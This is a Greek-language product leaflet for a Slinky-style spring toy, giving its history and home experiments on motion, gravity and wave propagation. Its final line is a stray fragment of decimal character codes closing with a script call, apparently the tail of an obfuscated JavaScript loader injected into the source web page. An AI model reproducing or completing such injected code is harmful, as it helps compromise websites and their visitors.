30315_Stimmung

M30315 Ελατήριο

 

Με το ελατήριο αυτό μπορείτε να κάνετε πολλά συναρπαστικά πειράματα πάνω στην ώθηση, τη βαρύτητα και την διάδοση κυμάτων. Η συσκευασία περιλαμβάνει συναρπαστικές πληροφορίες.

 

 

Τα ελατήρια είναι συναρπαστικά παιχνίδια που σε βοηθούν να μάθεις ενδιαφέροντα πράγματα για τη φυσική. Ακόμα και οι αστροναύτες του Διεθνούς Διαστημικού Σταθμού (ΔΔΣ) έχουν κάνει πειράματα με αυτά τα παιχνίδια!

 

Τι σύμπτωση!

Το παιχνίδι, γνωστό επίσης με το όνομα «Slinky», εφευρέθηκε το 1943 από τον Αμερικάνο μηχανικό  Richard James. Ο Richard James  ήθελε να δοκιμάσει τα ελατήρια που θα σταθεροποιούσαν τα ευαίσθητα όργανα πάνω στα πλοία. Τυχαία, είδε ένα από αυτά τα ελατήρια να πηδά από ένα ράφι, σαν να έκανε τούμπα. Έτσι γεννήθηκε η ιδέα του «Slinky»!

 

Δοκιμάστε το κι εσείς!

Τοποθετήστε το ελατήριο πάνω στο πιο ψηλό σκαλοπάτι της σκάλας, δώστε του μια ώθηση και δείτε το να κατεβαίνει τη σκάλα γρήγορα, σκαλοπάτι-σκαλοπάτι.

 

Γιατί όμως το ελατήριο δεν σταματάει ποτέ;

Είναι πολύ απλό: σπρώχνοντάς το, του δίνετε μια ώθηση, το βάζετε σε κίνηση. Με αυτή την ταλάντωση, το σπιράλ συσπειρώνεται, γεγονός που κάνει τους πίσω κύκλους του ελατηρίου να εκτιναχθούν προς τα μπροστά, δίνοντας την εντύπωση ότι το ελατήριο κάνει σάλτο!  Προσοχή όμως: για να το πετύχετε τα σκαλοπάτια δεν πρέπει να είναι πολύ μεγάλα.

 

Το ελατήριο και η βαρύτητα

Ένα άλλο τέλειο πείραμα σας δείχνει πώς η έλξη της γης, δηλαδή η βαρύτητα, και η δύναμη τάσης, δηλαδή η ελαστικότητα, μπορούν σταδιακά να αποσβεστούν. Η βαρύτητα είναι η δύναμη που μας κρατά, εμάς και όλα τα πράγματα, στο έδαφος. Η δύναμη τάσης είναι η δύναμη που κάνει ένα ελατήριο που επιμηκύνεται να συσπειρώνεται ξανά.

 

Να πώς λειτουργεί: δέστε μια μπάλα στην κάτω άκρη του ελατηρίου. Ανεβείτε προσεκτικά σε μια καρέκλα και κρατήστε την άλλη άκρη του ελατηρίου έτσι ώστε η μπάλα να αιωρείται χαλαρά πάνω από το έδαφος.  Στη συνέχεια, αφήστε το πάνω μέρος του ελατηρίου και κοιτάξτε προσεκτικά την μπάλα. Θα δείτε ότι όλο το ελατήριο πέφτει από πάνω προς τα κάτω, αλλά ότι η μπάλα παραμένει αρχικά ακίνητη στο αέρα και πέφτει κάτω μόνο όταν το ελατήριο συσπειρωθεί τελείως.

 

Μα πώς γίνεται;

 

Πάνω στο ελατήριο ασκούνται δύο δυνάμεις: η βαρύτητα έλκει το ελατήριο και τη μπάλα προς τα κάτω, ενώ η δύναμη τάσης τα τραβάει προς τα πάνω. Οι δυνάμεις της τάσης και της έλξης  είναι ισοδύναμες για ένα σύντομο χρονικό διάστημα, γι’ αυτό και η μπάλα μένει για λίγο ακίνητη στον αέρα.

 

Το ελατήριο και η διάδοση των κυμάτων

 

Με ένα άλλο πείραμα μπορείτε να μελετήσετε τη διάδοση των κυμάτων. Για να το κάνετε χρειάζονται δύο άτομα. Πρώτα πρέπει να τοποθετήσετε το ελατήριο πάνω σε ένα τραπέζι. Το ένα άτομο θα κρατάει τη μία άκρη του ελατηρίου και το άλλο άτομο την άλλη. Τραβήξτε το για να τεντώσει το σπιράλ και κουνήστε τον καρπό σας αριστερά-δεξιά για να δώσετε ένα παλμό κύματος κατά μήκος του ελατηρίου. Το ελατήριο θα αρχίσει να κινείται σαν ένα κύμα ή ένα φίδι πάνω στο τραπέζι. Αυτό το κύμα λέγεται εγκάρσιο.

 

Αντίθετα, αν τραβήξετε την άκρη του ελατηρίου μπρος-πίσω, θα δημιουργήσετε διαμήκη κύματα που θα διατρέξουν κατά μήκος ολόκληρο το ελατήριο.

7,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/